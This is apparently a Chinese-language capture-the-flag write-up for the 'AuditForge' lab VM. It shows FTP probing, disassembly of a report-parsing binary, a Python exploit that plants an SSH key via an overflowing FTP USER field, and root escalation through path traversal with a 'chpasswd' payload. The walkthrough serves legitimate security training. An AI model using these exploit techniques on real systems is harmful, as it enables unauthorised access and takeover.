AuditForge
Nmap
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ nmap -p0-65535 192.168.205.210
Starting Nmap 7.99 ( https://github.com/nmap/nmap ) at 2026-06-06 08:34 -0400
Nmap scan report for 192.168.205.210
Host is up (0.00028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:75:51:9C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.02 seconds只有 21/22/80,先看 FTP 和 Web。
FTP
FTP 的 banner 信息很多。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ftp 192.168.205.210
Connected to 192.168.205.210.
220-AuditForge legacy transfer node
220-Failed transfer records are mirrored for auditor review
220-Offline review is handled by the local auditor account "auditor"
220-Mirrored archives are later processed by reportfix-linux
220 Input format: USER <record_name>, PASS <record_body>, QUIT
Name (192.168.205.210:kali): anonymous
331 Password required
Password:
530 Login incorrect
ftp: Login failed这里可以先记住几个点:
Failed transfer records are mirrored for auditor review
Offline review is handled by the local auditor account "auditor"
Mirrored archives are later processed by reportfix-linux
Input format: USER <record_name>, PASS <record_body>, QUIT
意思是 FTP 登录失败的记录会被保存,而且后面会由本地 auditor 用户处理,处理工具是 reportfix-linux。
Web
访问 80:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ curl 192.168.205.210
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>AuditForge Review Portal</title>
<style>
body { font-family: Georgia, serif; max-width: 820px; margin: 3rem auto; line-height: 1.7; color: #1f2933; }
code { background: #eef2f7; padding: 0.1rem 0.3rem; }
.note { border-left: 4px solid #3b5b92; padding-left: 1rem; color: #415166; }
</style>
</head>
<body>
<h1>AuditForge Review Portal</h1>
<p>AuditForge stores legacy transfer authentication failures for internal review workflows.</p>
<p class="note">If a mirrored archive looks malformed, internal auditors should use the local <code>reportfix</code> utility before escalating the incident.</p>
<h2>Operator Links</h2>
<ul>
<li><a href="/help.php">help.php</a></li>
<li><a href="/reports.php?name=index.txt">reports index</a></li>
<li><a href="/downloads/reportfix-linux">download reportfix</a></li>
</ul>
</body>
</html>看 reports index:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ curl 'http://192.168.205.210/reports.php?name=index.txt'
available previews:
- failed-20260606.txt
- failed-20260606.meta
- failed-latest.txt
- failed-latest.metameta 文件里有真正关键的信息:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ curl 'http://192.168.205.210/reports.php?name=failed-latest.meta'
report_id=20260606-failed-auth
source=ftp_auth_failures
web_preview_mode=text
escaping=enabled
archive_format=AFR1
archive_name=daily.afr
next_consumer=reportfix-index@auditor.service这里就能连起来:
FTP authentication failure
=> daily.afr
=> reportfix-index@auditor.service
=> auditor
也就是 FTP 失败记录会进入 daily.afr,然后由 reportfix-index@auditor.service 处理。
FTP record
先确认 FTP 的 USER/PASS 会不会进入报告。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ printf 'USER probe123\nPASS body456\nQUIT\n' | nc 192.168.205.210 21
220-AuditForge legacy transfer node
220-Failed transfer records are mirrored for auditor review
220-Offline review is handled by the local auditor account "auditor"
220-Mirrored archives are later processed by reportfix-linux
220 Input format: USER <record_name>, PASS <record_body>, QUIT
331 Password required
530 Login incorrect
221 Bye然后看当天报告:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ curl 'http://192.168.205.210/reports.php?name=failed-20260606.txt'
[2026-06-06T12:35:07.305142+00:00] 192.168.205.128
FAILED USER: kali
FAILED PASS:
[2026-06-06T12:35:17.269860+00:00] 192.168.205.128
FAILED USER: anonymous
FAILED PASS: anonymous
[2026-06-06T12:40:02.981397+00:00] 192.168.205.128
FAILED USER: probe123
FAILED PASS: body456可以看到 probe123/body456 已经进去了。
接下来测试 USER/PASS 的字符限制:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ printf 'USER T2onlyslash/x\r\nPASS p2\r\nQUIT\r\n' | nc 192.168.205.210 21
printf 'USER T3_dotdot..x\r\nPASS p3\r\nQUIT\r\n' | nc 192.168.205.210 21
printf 'USER T7_space here\r\nPASS p7\r\nQUIT\r\n' | nc 192.168.205.210 21
printf 'USER T8_semi;id\r\nPASS p8\r\nQUIT\r\n' | nc 192.168.205.210 21报告里能看到原样记录:
[2026-06-06T12:44:04.450562+00:00] 192.168.205.128
FAILED USER: T2onlyslash/x
FAILED PASS: p2
[2026-06-06T12:44:04.480388+00:00] 192.168.205.128
FAILED USER: T3_dotdot..x
FAILED PASS: p3
[2026-06-06T12:44:04.567342+00:00] 192.168.205.128
FAILED USER: T7_space here
FAILED PASS: p7
[2026-06-06T12:44:04.597053+00:00] 192.168.205.128
FAILED USER: T8_semi;id
FAILED PASS: p8PASS 里放 SSH 公钥格式也没问题:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ printf 'USER pass_test_1\r\nPASS ssh-ed25519 AAAA/BBB+CCC== user@host\r\nQUIT\r\n' | nc 192.168.205.210 21报告结果:
[2026-06-06T12:44:12.502427+00:00] 192.168.205.128
FAILED USER: pass_test_1
FAILED PASS: ssh-ed25519 AAAA/BBB+CCC== user@host所以 USER/PASS 基本都是可控的。
reportfix
Web 页面提供了 reportfix 的下载地址,先拿下来分析。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ wget -O reportfix-linux http://192.168.205.210/downloads/reportfix-linux看文件类型:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ file reportfix-linux
reportfix-linux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4d19edc662e1b14d390b8ee52b6c4463f4283b7f, for GNU/Linux 3.2.0, not stripped这里注意 not stripped,说明符号还在。
再看 strings:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ strings reportfix-linux
+lDc
/lib64/ld-linux-x86-64.so.2
fgets
snprintf
stdin
inet_addr
perror
strncpy
free
fread
fflush
htons
fopen
socket
strlen
stdout
strcspn
malloc
__libc_start_main
stderr
fprintf
memcmp
fclose
memset
fputc
fputs
connect
memcpy
fwrite
strcmp
libc.so.6
GLIBC_2.14
GLIBC_2.34
GLIBC_2.2.5
__gmon_start__
PTE1
reindex
fopen
AFR1
bad archive
bad count
bad record
127.0.0.1
== Maintenance Console ==
1. List profiles
2. Run custom profile
3. Exit
LIST
profile name:
RUN %s
usage: %s --index <daily.afr> | --inspect <daily.afr>
--index
--inspect
current_user=%s
role=%c
active_profile=%s
maintenance features unavailable
;*3$"
GCC: (Debian 14.2.0-19) 14.2.0
crt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
reportfix.c
g_job
init_job
read_record
load_afr
maybe_export_key
send_command
maintenance_console
usage这里有两个信息。
第一个是普通字符串:
AFR1
--index
--inspect
RUN %s
127.0.0.1
说明它处理 AFR1 格式文件,并且有 --index、--inspect 两种模式。
第二个是函数符号:
init_job
read_record
load_afr
maybe_export_key
send_command
maintenance_console
因为二进制没有 strip,所以函数名还在。后面分析 read_record、maybe_export_key 不是猜的,而是从这里来的。
也可以用这种方式确认符号:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ objdump -t reportfix-linux | grep -E 'read_record|load_afr|maybe_export_key|maintenance_console|send_command'
000000000040132b l F .text 0000000000000244 read_record
000000000040156f l F .text 0000000000000196 load_afr
0000000000401705 l F .text 0000000000000080 maybe_export_key
0000000000401785 l F .text 0000000000000146 send_command
00000000004018cb l F .text 0000000000000178 maintenance_console然后直接反汇编对应函数。
先看 load_afr:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ objdump -d -M intel reportfix-linux | sed -n '/<load_afr>:/,/ret/p'load_afr 里先读 4 字节 magic,并且和 AFR1 比较:
4015bb: 48 8b 55 f0 mov rdx,QWORD PTR [rbp-0x10]
4015bf: 48 8d 45 ec lea rax,[rbp-0x14]
4015c3: 48 89 d1 mov rcx,rdx
4015c6: ba 04 00 00 00 mov edx,0x4
4015cb: be 01 00 00 00 mov esi,0x1
4015d0: 48 89 c7 mov rdi,rax
4015d3: e8 88 fa ff ff call 401060 <fread@plt>
4015d8: 48 83 f8 04 cmp rax,0x4
4015dc: 75 1f jne 4015fd <load_afr+0x8e>
4015de: 48 8d 45 ec lea rax,[rbp-0x14]
4015e2: ba 04 00 00 00 mov edx,0x4
4015e7: 48 8d 0d 2b 0a 00 00 lea rcx,[rip+0xa2b] # 402019 <_IO_stdin_used+0x19>
4015ee: 48 89 ce mov rsi,rcx
4015f1: 48 89 c7 mov rdi,rax
4015f4: e8 37 fb ff ff call 401130 <memcmp@plt>后面读一个 2 字节 count,然后循环调用 read_record:
401636: 48 8b 55 f0 mov rdx,QWORD PTR [rbp-0x10]
40163a: 48 8d 45 ea lea rax,[rbp-0x16]
401641: ba 01 00 00 00 mov edx,0x1
401646: be 02 00 00 00 mov esi,0x2
40164e: e8 0d fa ff ff call 401060 <fread@plt>
401697: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10]
40169b: 48 89 c7 mov rdi,rax
40169e: e8 88 fc ff ff call 40132b <read_record>所以 AFR 格式开头就是:
AFR1 + uint16_le count + records
再看 read_record:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ objdump -d -M intel reportfix-linux | sed -n '/<read_record>:/,/ret/p'这个函数前面读了 1 字节、1 字节、2 字节:
401355: 48 8b 55 d8 mov rdx,QWORD PTR [rbp-0x28]
401359: 48 8d 45 ef lea rax,[rbp-0x11]
401360: ba 01 00 00 00 mov edx,0x1
401365: be 01 00 00 00 mov esi,0x1
40136d: e8 ee fc ff ff call 401060 <fread@plt>
401382: 48 8b 55 d8 mov rdx,QWORD PTR [rbp-0x28]
401386: 48 8d 45 ee lea rax,[rbp-0x12]
40138d: ba 01 00 00 00 mov edx,0x1
401392: be 01 00 00 00 mov esi,0x1
40139a: e8 c1 fc ff ff call 401060 <fread@plt>
4013af: 48 8b 55 d8 mov rdx,QWORD PTR [rbp-0x28]
4013b3: 48 8d 45 ec lea rax,[rbp-0x14]
4013ba: ba 01 00 00 00 mov edx,0x1
4013bf: be 02 00 00 00 mov esi,0x2
4013c7: e8 94 fc ff ff call 401060 <fread@plt>然后根据第二个字段和第三个字段 malloc,再分别读取 key 和 body。
关键是它把 key 拷贝到了 g_job,body 拷贝到了 g_job+0xc2:
4014eb: 0f b6 45 ee movzx eax,BYTE PTR [rbp-0x12]
4014ef: 0f b6 d0 movzx edx,al
4014f2: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4014f6: 48 89 c6 mov rsi,rax
4014f9: 48 8d 05 40 2c 00 00 lea rax,[rip+0x2c40] # 404140 <g_job>
401500: 48 89 c7 mov rdi,rax
401503: e8 78 fc ff ff call 401180 <memcpy@plt>
401528: 0f b7 45 ec movzx eax,WORD PTR [rbp-0x14]
40152c: ba 9f 00 00 00 mov edx,0x9f
401531: 66 39 d0 cmp ax,dx
401534: 0f 47 c2 cmova eax,edx
401537: 0f b7 d0 movzx edx,ax
40153a: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10]
40153e: 48 89 c6 mov rsi,rax
401541: 48 8d 05 ba 2c 00 00 lea rax,[rip+0x2cba] # 404202 <g_job+0xc2>
401548: 48 89 c7 mov rdi,rax
40154b: e8 30 fc ff ff call 401180 <memcpy@plt>这里就可以还原:
AFR record:
1 byte tag
1 byte key length
2 bytes body length, uint16_le
key
body
对应关系:
key -> g_job+0x00
body -> g_job+0xc2
这里有两个长度限制需要注意:
key length 是 1 字节,所以理论上 key 最大 255 字节。
body 拷贝时有:
cmp ax, 0x9f
cmova eax, edx
所以 body 写入 g_job+0xc2 时最多拷贝 0x9f = 159 字节。
因此建议选 ed25519 公钥,不然超了可能失败。
然后看 maybe_export_key:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ objdump -d -M intel reportfix-linux | sed -n '/<maybe_export_key>:/,/ret/p'关键代码:
40170d: 0f b6 05 6c 2a 00 00 movzx eax,BYTE PTR [rip+0x2a6c] # 404180 <g_job+0x40>
401714: 84 c0 test al,al
401716: 74 64 je 40177c <maybe_export_key+0x77>
401718: 0f b6 05 63 2a 00 00 movzx eax,BYTE PTR [rip+0x2a63] # 404182 <g_job+0x42>
40171f: 84 c0 test al,al
401721: 74 5c je 40177f <maybe_export_key+0x7a>
401723: 48 8d 05 18 09 00 00 lea rax,[rip+0x918] # 402042 <_IO_stdin_used+0x42>
40172a: 48 89 c6 mov rsi,rax
40172d: 48 8d 05 4e 2a 00 00 lea rax,[rip+0x2a4e] # 404182 <g_job+0x42>
401734: 48 89 c7 mov rdi,rax
401737: e8 74 fa ff ff call 4011b0 <fopen@plt>
401747: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
40174b: 48 89 c6 mov rsi,rax
40174e: 48 8d 05 ad 2a 00 00 lea rax,[rip+0x2aad] # 404202 <g_job+0xc2>
401755: 48 89 c7 mov rdi,rax
401758: e8 73 f9 ff ff call 4010d0 <fputs@plt>逻辑就是:
if (g_job[0x40] != 0 && g_job[0x42] != 0) {
fp = fopen(g_job + 0x42, "w");
fputs(g_job + 0xc2, fp);
}结合前面的 FTP 记录:
FTP USER -> AFR key -> g_job+0x00
FTP PASS -> AFR body -> g_job+0xc2
所以可以控制文件名和文件内容。
要让 g_job+0x42 变成目标文件路径,USER 要这样构造:
0x00-0x3f: A * 64
0x40: 任意非 0 字符
0x41: 任意字符
0x42: 文件路径
也就是:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMM/home/auditor/.ssh/authorized_keys
PASS 放自己的 SSH 公钥。
User
生成 SSH key:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ssh-keygen -t ed25519 -f /tmp/pwn_key -N '' -q发 payload:
import socket
pad=b'A'*0x40
flags=b'MM'
path=b'/home/auditor/.ssh/authorized_keys'
user=pad+flags+path
pub=open('/tmp/pwn_key.pub','rb').read().strip()
s=socket.socket()
s.connect(('192.168.205.210',21))
s.recv(4096)
s.send(b'USER '+user+b'\r\n')
s.recv(1024)
s.send(b'PASS '+pub+b'\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
s.close()运行以后看报告:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ python3 a.py┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ curl -s http://192.168.205.210/reports.php?name=failed-20260606.txt
[2026-06-06T12:47:30.116997+00:00] 192.168.205.128
FAILED USER: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMM/home/auditor/.ssh/authorized_keys
FAILED PASS: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKxABKhF07LrRTdrU4tHJ6vtZckjPWk4R6IxnPxqAj6y kali@kali等 reportfix-index@auditor.service 跑完后 SSH 登录。
这里能成功是因为靶机中
/home/auditor/.ssh/已存在;如果目录不存在,单纯fopen无法创建多级目录,需要换其他落点或找能创建目录的方式。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ssh -i /tmp/pwn_key auditor@192.168.205.210
Linux AuditForge 7.0.5-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-4.1~trixie (2026-05-08) x86_64
AuditForge Internal Review Appliance
- Legacy transfer review is mirrored for auditors.
- Malformed daily archives should be checked with reportfix.
- Maintenance queue is local-only on 127.0.0.1:1314.
Last login: Thu May 21 05:49:30 2026 from 192.168.56.1
AuditForge :: 192.168.205.210
auditor@AuditForge:~$ id
uid=1000(auditor) gid=1000(auditor) groups=1000(auditor)拿 user:
auditor@AuditForge:~$ cat user.txt
flag{user-a7cf56e3cc7f91abff273524b6ef13e5}Root
先看 notes:
auditor@AuditForge:~/notes$ cat reportfix_usage.txt
reportfix operator note
If the daily report parser fails, run the local reportfix utility to inspect the archive and refresh the maintenance index.
Operators usually work with files in:
- /home/auditor/inbox/
- localhost:1314 maintenance queue这里提示了本地 1314 maintenance queue。
看 systemd 服务:
auditor@AuditForge:~/inbox$ systemctl list-units --type=service | grep -Ei 'report|audit|maint'
auditforge-ftp.service loaded active running AuditForge legacy FTP collector
auditforge-maint.service loaded active running AuditForge maintenance queue service
auditforge-web.service loaded active running AuditForge offline web service再看 timer:
auditor@AuditForge:~/inbox$ systemctl list-timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Sat 2026-06-06 08:49:42 EDT 4s Sat 2026-06-06 08:49:22 EDT 15s ago auditforge-runner.timer auditforge-runner.service
Sat 2026-06-06 08:50:22 EDT 44s Sat 2026-06-06 08:49:22 EDT 15s ago auditforge-builder.timer auditforge-builder.service
Sat 2026-06-06 08:50:22 EDT 44s Sat 2026-06-06 08:49:22 EDT 15s ago reportfix-index-auditor.timer reportfix-index@auditor.service有一个 auditforge-runner.timer,后面应该会用来消费 queue。
先看 auditforge-maint.service:
auditor@AuditForge:~/inbox$ cat /etc/systemd/system/auditforge-maint.service
[Unit]
Description=AuditForge maintenance queue service
After=network.target
[Service]
Type=simple
User=reportsvc
Group=reportsvc
ExecStart=/usr/bin/python3 /opt/auditforge/bin/auditd-helper.py
Restart=always
[Install]
WantedBy=multi-user.target这个服务是 reportsvc 跑的,不是 root。
连接本地 1314:
auditor@AuditForge:~/inbox$ echo 'LIST' | busybox nc 127.0.0.1 1314
reindex
repair-perms
refresh-hooksauditor@AuditForge:~/inbox$ echo 'RUN test' | busybox nc 127.0.0.1 1314
QUEUED直接命令注入不行:
auditor@AuditForge:~/inbox$ echo 'RUN ;id > /tmp/rce_test' | busybox nc 127.0.0.1 1314
QUEUED
auditor@AuditForge:~/inbox$ cat /tmp/rce_test
cat: /tmp/rce_test: No such file or directory所以看服务代码:
auditor@AuditForge:~/inbox$ cat /opt/auditforge/bin/auditd-helper.py
#!/usr/bin/env python3
import json
import socketserver
import time
from pathlib import Path
QUEUE = Path('/opt/auditforge/runtime/queue')
PROFILES = ['reindex', 'repair-perms', 'refresh-hooks']
class Handler(socketserver.StreamRequestHandler):
def handle(self):
line = self.rfile.readline(4096).decode('utf-8', errors='ignore').strip()
if line == 'LIST':
self.wfile.write(('\n'.join(PROFILES) + '\n').encode())
return
if line.startswith('RUN '):
profile = line.split(' ', 1)[1]
QUEUE.mkdir(parents=True, exist_ok=True)
req = QUEUE / f'{int(time.time() * 1000)}.json'
req.write_text(json.dumps({'profile': profile}), encoding='utf-8')
self.wfile.write(b'QUEUED\n')
return
self.wfile.write(b'UNKNOWN\n')
class Server(socketserver.ThreadingTCPServer):
allow_reuse_address = True
if __name__ == '__main__':
with Server(('127.0.0.1', 1314), Handler) as server:
server.serve_forever()可以看到它只是把 profile 写到 /opt/auditforge/runtime/queue,没有执行命令。
真正执行的是 runner。
auditor@AuditForge:~/inbox$ cat /etc/systemd/system/auditforge-runner.service
[Unit]
Description=AuditForge maintenance runner
[Service]
Type=oneshot
ExecStart=/usr/bin/python3 /usr/local/sbin/audit-maint-runner.py没有指定 User=,所以 systemd 默认 root 执行。
看 runner 脚本:
auditor@AuditForge:~/inbox$ cat /usr/local/sbin/audit-maint-runner.py
#!/usr/bin/env python3
import json
import subprocess
from pathlib import Path
QUEUE = Path('/opt/auditforge/runtime/queue')
BASE = Path('/opt/auditforge/profiles')
def main() -> None:
QUEUE.mkdir(parents=True, exist_ok=True)
for req in sorted(QUEUE.glob('*.json')):
data = json.loads(req.read_text(encoding='utf-8'))
profile = str(data.get('profile', 'reindex')).strip() or 'reindex'
script = BASE / profile / 'apply.sh'
subprocess.run(['/bin/bash', str(script)], check=False)
req.unlink(missing_ok=True)
if __name__ == '__main__':
main()漏洞点很明显:
profile = str(data.get('profile', 'reindex')).strip() or 'reindex'
script = BASE / profile / 'apply.sh'
subprocess.run(['/bin/bash', str(script)], check=False)profile 没有过滤,直接拼到路径里。
正常 profile 在这里:
auditor@AuditForge:~/inbox$ ls -la /opt/auditforge/profiles/
total 20
drwxr-xr-x 5 root root 4096 May 21 05:49 .
drwxr-xr-x 7 root root 4096 May 21 05:49 ..
drwxr-xr-x 2 root root 4096 May 21 05:49 refresh-hooks
drwxr-xr-x 2 root root 4096 May 21 05:49 reindex
drwxr-xr-x 2 root root 4096 May 21 05:49 repair-perms比如 reindex:
auditor@AuditForge:~/inbox$ cat /opt/auditforge/profiles/reindex/apply.sh
#!/bin/bash
echo '[*] reindex complete' >/dev/null同时 auditor 有一个可写目录:
auditor@AuditForge:~/inbox$ ls -la /home/auditor/.local/share/reportfix/
total 12
drwxr-xr-x 3 auditor auditor 4096 May 21 05:49 .
drwxr-xr-x 3 auditor auditor 4096 May 21 05:49 ..
drwxr-xr-x 2 auditor auditor 4096 May 21 05:50 profiles因此可以让 profile 等于:
../../../../home/auditor/.local/share/reportfix/profiles/pwn
最终 root 执行的是:
/opt/auditforge/profiles/../../../../home/auditor/.local/share/reportfix/profiles/pwn/apply.sh
也就是 auditor 可控的文件。
创建恶意 profile:
auditor@AuditForge:~$ mkdir -p /home/auditor/.local/share/reportfix/profiles/pwn
auditor@AuditForge:~$ vim /home/auditor/.local/share/reportfix/profiles/pwn/apply.sh
auditor@AuditForge:~$ cat $_
#!/bin/bash
echo 'root:root123' | chpasswd
auditor@AuditForge:~$ chmod +x /home/auditor/.local/share/reportfix/profiles/pwn/apply.sh触发:
auditor@AuditForge:~$ echo 'RUN ../../../../home/auditor/.local/share/reportfix/profiles/pwn' | busybox nc 127.0.0.1 1314
QUEUED等 timer 执行后切 root:
auditor@AuditForge:~$ su - root
Password: root123成功 root:
root@AuditForge:~# id
uid=0(root) gid=0(root) groups=0(root)读 root flag:
root@AuditForge:~# cat /root/root.txt
flag{root-a5f5224161a85bd9f3d36d1c27f53d62}